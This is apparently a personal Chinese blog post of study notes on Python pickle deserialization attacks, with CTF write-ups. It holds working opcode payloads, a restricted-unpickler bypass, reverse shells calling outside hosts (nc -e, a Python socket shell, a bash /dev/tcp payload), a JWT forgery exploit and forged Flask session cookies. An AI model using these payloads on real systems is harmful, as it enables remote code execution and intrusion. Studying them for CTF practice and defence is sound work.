pickle反序列化


一切之前

这里我还是有很多知识点没有懂的,比如很多脚本只是复制了一遍,很多时候应该自己去些一下的
还有就是,这个和JWT,session的相关程度还是比较高
两天内,我会再出一遍名为session的文章来总结一些常见的session伪造等等知识和题目
到时候,目标就是解决pickle留下的疑惑,并将下面五道题目再做一遍
会补充很多新的nss上类似有关的题目

pickle反序列化

这里主要参照大佬的这个博客

1
https://blog.csdn.net/google20/article/details/142071729?ops_request_misc=%257B%2522request%255Fid%2522%253A%25226370605e92f041078be0bef63c9831db%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=6370605e92f041078be0bef63c9831db&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-142071729-null-null.142^v102^pc_search_result_base4&utm_term=pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187

pickle是python中一个能够序列化和反序列化对象的模块。和其他语言类似,python也提供了序列化和反序列这一功能。其中一个实现模块就是pickle
pickle实际上可以看作一种独立的语言,通过对opcode的编写可以进行python代码执行、覆盖变量等等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle反序列化得到(pickle解析能力大于pickle生成能力)
这个肯定不好理解,我们来一个一个的看一下这些代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pickle
class Person():
def __init__(self):
self.age = 18
self.name = "Pickle"


p = Person()//这个就像php反序列化,来实例化一个对象
opcode = pickle.dumps(p) #将一个Person对象序列化成二进制字节流
//上面这一行是序列化的一个过程,和php还是很像的
print(opcode)
# 结果如下
# b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'

P = pickle.loads(opcode) # 将一串二进制字节流反序列化为一个Person对象
//这个就是一个序列化的过程
print('The age is:' + str(P.age), 'The name is:' + P.name)
# 结果如下
# The age is:18 The name is:Pickle

前置知识

能够序列化的对象
在python的官方文档中,对于能够被序列化的对象类型有详细的描述,如下

1
2
3
4
5
6
7
8
None、True 和 False
整数、浮点数、复数
str、byte、bytearray
只包含可打包对象的集合,包括 tuple、list、set 和 dict
定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以)
定义在模块顶层的内置函数
定义在模块顶层的类
某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被打包(详情参阅 打包类实例 这一段)

pickle模块常见方法及接口

1
pickle.dump(*obj*, *file*, *protocol=None*, ***, *fix_imports=True*)

将打包好的对象obj写入文件中,其中protocol为pickling的协议版本

1
pickle.dumps(*obj*, *protocol=None*, ***, *fix_imports=True*)

将obj打包以后的对象作为bytes类型直接返回

1
pickle.load(*file*, ***, *fix_imports=True*, *encoding="ASCII"*, *errors="strict"*)

从文件中读取二进制字节流,将其反序列化为一个对象并返回

1
pickle.loads(*data*, ***, *fix_imports=True*, *encoding="ASCII"*, *errors="strict"*)

从data中读取二进制字节流,将其反序列化为一个对象并返回

1
object.__reduce__()

上面这一大串其实不太看得懂,可能暂时也没有太大的用(当然是因为我比较菜)
reduce()其实是object类中的一个魔术方法,我们可以通过重写类的0bject.__reduce()__函数。使之在被实例化时按照重写的方式进行
python要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2…])[,…]) ,那么每当该类的对象被反序列化时,该callable就会被调用,参数为para1、para2…
pickle反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle
import os
class Person():
def __init__(self):
self.age = 18
self.name = "Pickle"

def __reduce__(self):
command = r"whoami"
return (os.system, (command,))

p = Person()
opcode = pickle.dumps(p)
print(opcode)

P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)

这个基本就和php发序列化很像很像了

pickle工作原理

其实pickle可以看作是一种独立的栈语言,它由一串串opcode(指令集)
PVM由以下三部分组成
指令处理器:从流中读取opende和参数,并对其进行解释处理。重复这个动作,知道遇到.这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回
atack:由python的list实现,被用来临时储存数据、参数以及对象
memo:由python的dict实现,为PVM的整个声明周期提供存储

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
c	获取一个全局对象或import一个模块	c[module]\n[instance]\n	获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 无
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle

opcode = b'''cos
system
(S'whoami'
tR.'''

"""
cos
system
c表示import 一个模块中的函数并作为对象压栈
(S'whoami'
(表示向栈中压入一个Mark标记,S表示实例化一个whoami字符串对象并压栈
tR.
t表示寻找栈中的上一个MARK,并组合之间的数据为元组,获得对象压栈。
R表示选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,函数的返回值入栈。
.表示程序结束,栈顶的一个元素作为pickle.loads()的返回值
"""
pickle.loads(opcode)
#xxx\21609

这个认真读一遍基本能知道什么意思了
漏洞利用方式
命令执行
手写opcode执行多个命令
在opcode中,.是程序结束的标志。我们可以通过去掉.来将两个字节流拼接起来

1
2
3
4
5
6
7
8
9
10
import pickle

opcode = b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

在pickle中。和函数执行的字节码中有三个: R\i\o。所以我们可以三个方向构造payload
R

1
2
3
4
opcode1=b'''cos
system
(S'whoami'
tR.'''

i:相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象

1
2
3
4
opcode2=b'''(S'whoami'
ios
system
.'''

o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象

1
2
3
4
5
opcode3=b'''(cos
system
S'whoami'
o.'''

这三个应该算是要记得payload的样子了,三种不同形式paylaod执行一个命令
注意:部分linux系统下和Windows下的opcode字节流并不兼容,比如win下的执行系统命令的函数为os.system(),在部分Linux下则为posix.system()
并且pickle.loads会解决import问题。对于未引入的module会自动尝试import
也就是说整个python的标准苦的代码执行、命令执行函数我们都可以使用
实例化对象
手动执行构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle

class Person:
def __init__(self, age, name):
self.age = age
self.name = name

opcode = b'''c__main__
Person
(I18
S'Pickle'
tR.'''

p = pickle.loads(opcode)
print(p)
print(p.age, p.name)

"""
<__main__.Person object at 0x0000013440833B90>
18 Pickle
"""

使用b指令进行变量覆盖
secret.py

1
2
secret="this is a key"

pk1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle
import secret

print("secret变量的值为:" + secret.secret)

opcode = b'''c__main__
secret
(S'secret'
S'hack!!!'
db.'''
fake = pickle.loads(opcode)

print("secret变量的值为:" + fake.secret)
# secret变量的值为:this is a key
# secret变量的值为:hack!!!

常见绕过
1.使用b指令绕过R指令
当对象被序列化调用__getstate__,被反序列化时调用__setstate__。重写时可以省略__setstate__,但__getstate__必须返回一个字典。如果__getstate__与__setstate__都被省略, 那么就默认自动保存和加载对象的属性字典__dict__
在pickle源码中,字节码b对应的是load_build()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def load_build(self):
stack = self.stack
state = stack.pop()
#首先获取栈上的字节码b前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
inst = stack[-1]
#获取该字典中键名为"__setstate__"的value
setstate = getattr(inst, "__setstate__", None)
#如果存在,则执行value(state)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
#如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
#如果__setstate__和__getstate__都没有设置,则加载默认__dict__
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build

如果我们将字典{“setstate“:os.system},压入栈中,并执行b字节码,,由于此时并没有__setstate__,所以这里b字节码相当于执行了__dict__.update,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b字节码时,由于已经有了__setstate__,所以会将栈中字节码b的前一个元素当作state,执行__setstate__(state),也就是os.system(command)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import pickle
class Person:
def __init__(self, name, age=0):
self.name = name
self.age = age

def __str__(self):
return f"name: {self.name}\nage: {self.age}"


class Child(Person):
def __setstate__(self, state):
print("invoke __setstate__")
self.name = state
self.age = 10

def __getstate__(self):
print("invoke __getstate__")
return "Child"

opcode=b"""(c__main__
Person
S'Casual'
I18
o}(S"__setstate__"
cos
system
ubS"whoami"
b."""

"""
}空字典入栈
u寻找栈中的上一个MARK,组合之间的数据(数据必须为偶数个来组合key-value)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
第一个b,此时没有setstate,故向对象的属性字典添加了一个新的键值对
第二个b,因为对象已经有了__setstate__,故将栈中字节码b的前一个元素当成state,执行__setstate__(state)
也就是os.system(command)
"""

fake = pickle.loads(opcode)
#xxx\21609

2.绕过builtins
有的例子限死了module==”builtins”
builtins模块提供了python的内置函数,在解释器启动的时候导入
查看所包含的函数

1
2
3
4
import sys
for i in sys.modules['builtins'].__dict__:
print(i)

我们目标是构造print(eval(“import(‘os’).system(‘whoami’)”))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import pickle
import builtins
import os
print(builtins.getattr(builtins,'eval'))# 获取对象属性值
# <built-in function eval>
# 但是我们c指令要给出instance,也就是说不能单独import builtins
print(builtins.globals())#获取模块包含的内容
"""
返回的字典最后一个是 'builtins': <module 'builtins' (built-in)>
"""
print(builtins.getattr(builtins.dict,'get'))#获取get函数
print(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'))
# builtins.dict.get()函数获取字典builtins.globals()的'builtins'对应的值
print(builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval'))
# <built-in function eval>

opcode=b"""cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'builtins'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR."""
# 上面代码从外层开始写,中间先是获取get函数,然后调用globals函数,参数为空元组
# 然后一波操作获取到了eval函数,最后调用了eval('__import__("os").system("whoami")')
pickle.loads(opcode) # xxx\21609

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


opcode = b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

restricted_loads(opcode)

绕过关键字过滤
·十六进制绕过
操作码S能识别十六进制字符串
S’\x73ecret’
·V指令进行unicode绕过
Vsecr\u0065t
·利用内置函数获取关键字
对于已导入的模块,我们可以通过sys.modules[‘xxx’]来获取该模块,然后通过内置函数dir()来列出模块中的所有属性。

由于pickle不支持列表索引、字典索引,所以我们不能直接获取所需的字符串。在Python中,我们可以通过reversed()函数来将列表逆序,并返回一个迭代对象。

然后通过next()函数来获取迭代对象的下一个元素,默认从第一个元素开始
hello.py

1
secret="this is a key"

pk 1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
import sys
import hello
print(dir(sys.modules['hello']))
# ['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'secret']
print(next(reversed(dir(sys.modules['hello']))))
# secret
# 下面手写opcode获取secret字符串
opcode=b"""(((c__main__
hello
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
."""
print(pickle.loads(opcode))
# secret

下面构造变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import pickle
import sys
import hello
class A(object):
def __init__(self,uname,password):
self.uname=uname
self.password=password
def get_password(uname):
if uname=="hello":
return hello.secret


opcode=b"""c__main__
hello
((((c__main__
hello
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I999
db(S'hello'
I999
i__main__
A
."""
a=pickle.loads(opcode)
if a.uname=='hello':
if(a.password==get_password('hello')):
#覆盖了hello模块的secret变量,使其与实例a的password相等
print("success")
#success

也不多说了
直接实战来理解

[watevrCTF-2019]Pickle Store

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Mateusz's Pickle Store
Your funds: $500
Standard Pickle

The classic pickle you know and love.

Price: $10
Smörgåsgurka

Smörgåsgurka, great for a sandwitch!

Price: $100
Flag Pickle

The flag Pickle you have always wanted!

Price: $1000
Inventory:

现在一进去显示的是我有500$,but pay the thr flag need 1000dollors
先扫以下目录来看一看是怎么回事
什么都没有扫到
这里我们就要想怎么才能说,效验我的钱的时候是能够达到1000的
伪造session,随便抓取一个包,看到session数据,并不是JWT效验

1
2
3
4
5
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu
Connection: close

id=0

这里就注意我们的session和最后post传的这个id就可以了
base64解码一次

1
..}q.(X....moneyq.Mô.X....historyq.]q.X....anti_tamper_hmacq.X ...aa1ba4de55048cf20e0a7a63b7f8eb62q.u.

后面的这个是hash加密的数据
经过一层base64和pickle反序列化之后

1
{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}

分别显示了我现在所有的这个财产和历史记录,最后一个应该是商品价格之类的了
那个id应该是我要买的商品
这里选择参照以下别人的wp

非常规做法

python反弹shell的exp

1
2
3
4
5
6
7
8
9
import base64
import pickle

class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc 120.55.192.18 9999 -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

这里又出现一种特殊情况了,我的tabby连接的时候总是要我输入密码,一直输入很多很多次
然后就是我们正确输入密码之后,点击以下其他地方就行了

1
b'gASVTgAAAAAAAACMAm50lIwGc3lzdGVtlJOUjDZiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwL+S9oOeahOWFrOe9kUlQLzk5OTkgMD4mMSeUhZRSlC4='

这个是假的,不能直接用,因为上述不是你个人的公网ip。然后我们外面的字母b和引号不要
在浏览器里面将cookie修改修改就可以了
但是,这个好像就是公网不行
很多参考的wp的博客都是在buu下开一个内网的机子的
这个是一个大佬的博客,写出了这道题的第二种的解法,很厉害的师傅
https://xz.aliyun.com/news/6916#toc-1
我也确定了,buu是不能弹shell到外网的
提供了可接受反弹的内网靶机,可以注册一个小号去开一个靶机接受信息
https://buuoj.cn/challenges#Linux%20Labs这个是buu以前的一个地址,可以弹shell,但是后面下架了

覆盖key并伪造cookie

当然,这种解法更加难了,一点看不懂的

[Python]Unpickle

一进去就是一个欢迎,剩下的什么都没有
我们先扫一下目录
这个什么都没有扫出来
果然,看了wp发现原题是给了源码和exp,但是buu这个什么也没有给
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"

return "Hello %s" % username

if __name__ == "__main__":
app.run()

意思就是先base64取出我们的cookie值然后取得user,进行pickle反序列化。user回显异常会回显Guest我们正常访问就返回上面的那样了
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
import requests
import pickle
import os
import base64


class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kali的ip",端口号));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))


e = exp()
s = pickle.dumps(e)

response = requests.get("http://#{ip}:8000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)

最后还是要在靶机上执行上面的代码,然后我们在这之前监听一下就可以了

[NewStarCTF 2023 公开赛道]Ye’s Pickle

92

Do You Know The Legend of YeSec?题目附件:链接:https://pan.baidu.com/s/1CmfsZI4r7bg6xch36TtTCw?pwd=NNUS 提取码:NNUS
给了附件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)

def generate_random_string(length=16):
characters = string.ascii_letters + string.digits # 包含字母和数字
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
payload=request.args.get("token")
if payload:
token=verify_jwt(payload, key, ['PS256'])
session["role"]=token[1]['role']
return render_template('index.html')
else:
session["role"]="guest"
user={"username":"boogipop","role":"guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
return render_template('index.html',token=jwt)

@app.route("/pickle")
def unser():
if session["role"]=="admin":
pickle.loads(base64.b64decode(request.args.get("pickle")))
return render_template("index.html")
else:
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)

一进去给了一个token,先base64解密一下
很多乱码

1
2
{"alg":"PS256","typ":"JWT"}{"exp":1752552172,"iat":1752548572,"jti":"Sn0uyhAV1Eb2hTRhTTdMrQ","nbf":1752548572,"role":"guest","username":"boogipop"}w$.+¶.My.ª×D.³Ñ.£.p.¨O...!5.£Î.Ya?Eɶcï.xª"$lZ@.pñÏ .Á
wB.O!!»ÁÕZæ.."ê.ë..LÜ4È..¢..p.bÐ"³¶Ð..!¹$Y*õÔ.t..¢Ö@sL.{¯ÑÑ»Õ×.2Ê =.©2Ò.Y..s/j%äQ.wÛ.|y¥..É*.¦.j5..k >¤c^wPÎy =®¬.3Øõq&á§ì24.ÆÙQËRõ_..Í´¨...í:-.¢ß.)Ü.K.½..sH©3...ôqö±¨...¼..]~ÀNN¨.ÛÖZØIkÎ$.vÈ«.ZYô

看下面的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from datetime import timedelta
from json import loads, dumps
# from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload['role'] = "admin"
print(parsed_payload)
fake_payload = base64url_encode(
(dumps(parsed_payload, separators=(',', ':'))))
print (header+ '.' +fake_payload+ '.' +signature)
# print (header+ '.' + payload+ '.' +signature)
a = header+ '.' +fake_payload+ '.' +signature

# print(q)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

originaltoken = '''eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTg3NjQ0NzYsImlhdCI6MTY5ODc2MDg3NiwianRpIjoiWUN1WXdmLWFFSFVhNmNRWnlkclRFdyIsIm5iZiI6MTY5ODc2MDg3Niwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.aYoTc0VuYSWMrV3qYyVY0rIODjBUTGwcNxun4s6Hx5lbhl0IqrT7LJm9ORJe6bDLO9rdtu2W6yBMVTay9LOM6BojGekMAL4CNZrGYKpg0twIYz9ptCp83y-1lfh6Dwoa_JY27jEQUlSNWBsJqJ-0USKhJ4OCReR1OtPwxFPAZRAuzBFzRh93pr9ePt663upc38rorgx6njKcEwzQmBoHICEak3wOJNSBykEsKAQ6-cf44y_9GsKPTBe4PzQR2ba6Q6HiKjRwHMP3q-mrxBIttQqPqhtiKOxzZgzt3BBFCDrrS5neRseQC_b5Og6s2e2hWNnCI0C-BvE0j5Djjd1Cnw'''
topic = topic(originaltoken)
print(topic)

复制题目给你的这个token,复制到里面去
将生成的payload的空格改为%20
然后会返回一个cookie
反正这个题我做的很懵逼
这个题还是一个CVE,CVE-2022-39227

[HFCTF 2021 Final]easyflask

刷到这个题,后面还是少刷buu算了。nss刷到一定数量也只能算了
有的靶机根本打不了,并且很老旧
这里我进去什么都没有,实际上应该是有一个/?file=index.js的提示的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content


@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

一进去的那个提醒,很明显是一个任意文件读取的问题
读一下环境变量

1
file?file=/proc/self/environ

上面的是不是都弄错了,很多脚本是要在服务器端执行,并且

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import pickle
from base64 import b64encode

User = type('User', (object,), {
'uname': 'tyskill',
'is_admin': 0,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system, ("cat /flag>/test2",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())

#这个脚本也要在kali下运行!!!

这个是脚本,然后我们执行
运行后

1
运行后:gASVKwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBBjYXQgL2ZsYWc+L3Rlc3QylIWUUpQu

最后执行脚本

1
2
3
4
5
这是解密后的格式:{'u':{'b':'gASVKwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBBjYXQgL2ZsYWc+L3Rlc3QylIWUUpQu'}}

kali加密命令:python3 flask_session_cookie_manager3.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'gASVKwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBBjYXQgL2ZsYWc+L3Rlc3QylIWUUpQu'}}"

session:eyJ1Ijp7ImIiOiJnQVNWS3dBQUFBQUFBQUNNQlhCdmMybDRsSXdHYzNsemRHVnRsSk9VakJCallYUWdMMlpzWVdjK0wzUmxjM1F5bElXVVVwUXUifX0.ZicaKQ.t44JF82CUrZXtW9WygwOrIqqluU

我们把session再放回去就可以了

[CISCN2019 华北赛区 Day1 Web2]ikun

基本和上面的一样


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录